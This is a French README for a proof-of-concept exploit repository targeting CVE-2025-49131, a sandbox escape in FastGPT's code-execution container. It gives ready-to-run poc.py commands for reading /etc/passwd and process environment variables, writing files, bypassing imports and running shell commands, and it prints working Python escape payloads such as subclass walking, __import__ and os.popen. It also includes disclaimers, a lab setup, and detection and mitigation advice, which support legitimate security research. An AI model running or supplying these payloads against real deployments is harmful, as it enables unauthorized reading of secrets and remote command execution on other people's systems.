CVE-2025-49131 - POC d'évasion de la sandbox FastGPT

 ███████╗ █████╗ ███████╗████████╗ ██████╗ ██████╗ ████████╗
 ██╔════╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗╚══██╔══╝
 █████╗  ███████║███████╗   ██║   ██║  ███╗██████╔╝   ██║   
 ██╔══╝  ██╔══██║╚════██║   ██║   ██║   ██║██╔═══╝    ██║   
 ██║     ██║  ██║███████║   ██║   ╚██████╔╝██║        ██║   
 ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝    ╚═════╝ ╚═╝        ╚═╝   
                                                            
 ███████╗ █████╗ ███╗   ██╗██████╗ ██████╗  ██████╗ ██╗  ██╗
 ██╔════╝██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝
 ███████╗███████║██╔██╗ ██║██║  ██║██████╔╝██║   ██║ ╚███╔╝ 
 ╚════██║██╔══██║██║╚██╗██║██║  ██║██╔══██╗██║   ██║ ██╔██╗ 
 ███████║██║  ██║██║ ╚████║██████╔╝██████╔╝╚██████╔╝██╔╝ ██╗
 ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝
                                                            
 ███████╗███████╗ ██████╗ █████╗ ██████╗ ███████╗           
 ██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝           
 █████╗  ███████╗██║     ███████║██████╔╝█████╗             
 ██╔══╝  ╚════██║██║     ██╔══██║██╔═══╝ ██╔══╝             
 ███████╗███████║╚██████╗██║  ██║██║     ███████╗           
 ╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝     ╚══════╝           
                                                            
        ╔═══════════════════════════════════════╗
        ║     CVE-2025-49131 | CVSS 6.3        ║
        ║   FastGPT Sandbox Container Escape   ║
        ║      Affected: < v4.9.11             ║
        ╚═══════════════════════════════════════╝

🎯 Aperçu de la vulnérabilité

⚠️ Avertissement

Cet outil est réservé à la recherche en sécurité autorisée et à des fins éducatives uniquement.

Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.
Suivez les pratiques de divulgation responsable.
Conformez-vous à toutes les lois et réglementations applicables.

📖 Description

CVE-2025-49131 est une vulnérabilité d'évasion de sandbox dans le conteneur fastgpt-sandbox de FastGPT. La vulnérabilité existe en raison de :

Mécanismes d'isolation insuffisants - La sandbox ne restreint pas correctement les builtins Python
Appels système trop permissifs - Les syscalls dangereux ne sont pas bloqués
Restrictions d'exécution de code inadéquates - Les restrictions d'importation peuvent être contournées

Impact

Une exploitation réussie permet à un attaquant de :

✅ Lire des fichiers arbitraires - Accéder à /etc/passwd, aux fichiers de configuration, aux secrets
✅ Écrire des fichiers arbitraires - Modifier des fichiers système, injecter du code malveillant
✅ Contourner les restrictions d'importation Python - Importer les modules os, subprocess
✅ RCE potentielle - Exécuter des commandes système via les modules importés

🚀 Démarrage rapide

# Clone this repository
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc

# Install dependencies
pip install -r requirements.txt

# Run vulnerability detection
python poc.py --target http://localhost:3001 --detect

# Read a file
python poc.py --target http://localhost:3001 --read /etc/passwd

# Attempt RCE
python poc.py --target http://localhost:3001 --rce "id"

🔧 Mise en place de l'environnement vulnérable

# Start vulnerable and patched containers
docker-compose up -d

# Vulnerable sandbox on port 3001
# Patched sandbox on port 3002

💻 Utilisation

Mode de détection (non destructif)

python poc.py --target http://localhost:3001 --detect -v

Lire des fichiers arbitraires

python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ

Écrire des fichiers

python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"

Contournement d'importation

python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess

Variables d'environnement

python poc.py --target http://localhost:3001 --env

Exécution de code à distance

python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"

Options complètes

python poc.py --help

📁 Structure du projet

cve-2025-49131-poc/
├── poc.py                # Main exploit script
├── payloads.py           # Payload generator library
├── docker-compose.yml    # Test environment
├── requirements.txt      # Python dependencies
├── README.md             # This file
└── tests/
    └── test_exploit.py   # Automated tests

🔬 Détails techniques

Cause racine de la vulnérabilité

La sandbox FastGPT est conçue pour exécuter du code soumis par l'utilisateur dans un environnement isolé. Cependant, les mécanismes d'isolation sont insuffisants :

Accès aux __builtins__ Python - La sandbox ne restreint pas correctement l'accès aux fonctions intégrées comme open(), __import__(), etc.
Filtrage des syscalls - La liste des syscalls autorisés inclut des appels dangereux qui permettent l'accès au système de fichiers.
Contournement des restrictions d'importation - De multiples techniques existent pour contourner les restrictions d'importation des modules.

Déroulement de l'exploitation

┌─────────────────────────────────────────────┐
│ 1. Send malicious code to sandbox API       │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 2. Bypass sandbox restrictions using:       │
│    - __builtins__ manipulation              │
│    - Subclass walking                       │
│    - Import bypass techniques               │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 3. Gain access to:                          │
│    - File system (read/write)               │
│    - os/subprocess modules                  │
│    - Environment variables                  │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 4. Impact:                                  │
│    - Data exfiltration                      │
│    - Code injection                         │
│    - Remote command execution               │
└─────────────────────────────────────────────┘

Exemples de payloads

Lecture de fichier :

open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()

Contournement d'importation :

__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__() 
 if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/HEAD/%27os%27)

RCE :

__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)

🛡️ Détection et atténuation

Détection

Recherchez une activité suspecte dans les journaux de la sandbox :

Tentatives d'accès à /etc/passwd, /etc/shadow
Appels à __builtins__, __import__
Utilisation des modules subprocess ou os
Opérations inhabituelles de lecture/écriture de fichiers

Atténuation

Mettez à jour FastGPT vers la version 4.9.11 ou ultérieure
Isolation réseau - Limitez l'accès réseau du conteneur sandbox
Limites de ressources - Appliquez des limites CPU/mémoire aux conteneurs
Surveillance - Mettez en place la journalisation et les alertes pour les activités de la sandbox

📚 Références

⏱️ Chronologie

Date	Event
2025-??-??	Vulnérabilité découverte
2025-??-??	Fournisseur notifié
2025-06-??	Correctif publié (v4.9.11)
2025-06-09	Divulgation publique

📄 Licence

Ce projet est réservé à des fins éducatives et de recherche en sécurité autorisée uniquement. Utilisez-le de manière responsable.

Créé à des fins de recherche en sécurité. Obtenez toujours une autorisation appropriée avant de tester.

Identifiant CVE	CVE-2025-49131
Score CVSS	6.3 (Moyen)
Vecteur CVSS	AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Type de vulnérabilité	Évasion de sandbox
Logiciel affecté	FastGPT (conteneur fastgpt-sandbox)
Versions affectées	< 4.9.11
Version corrigée	4.9.11+
Date de divulgation	9 juin 2025

cve-2025-49131-poc

Populaires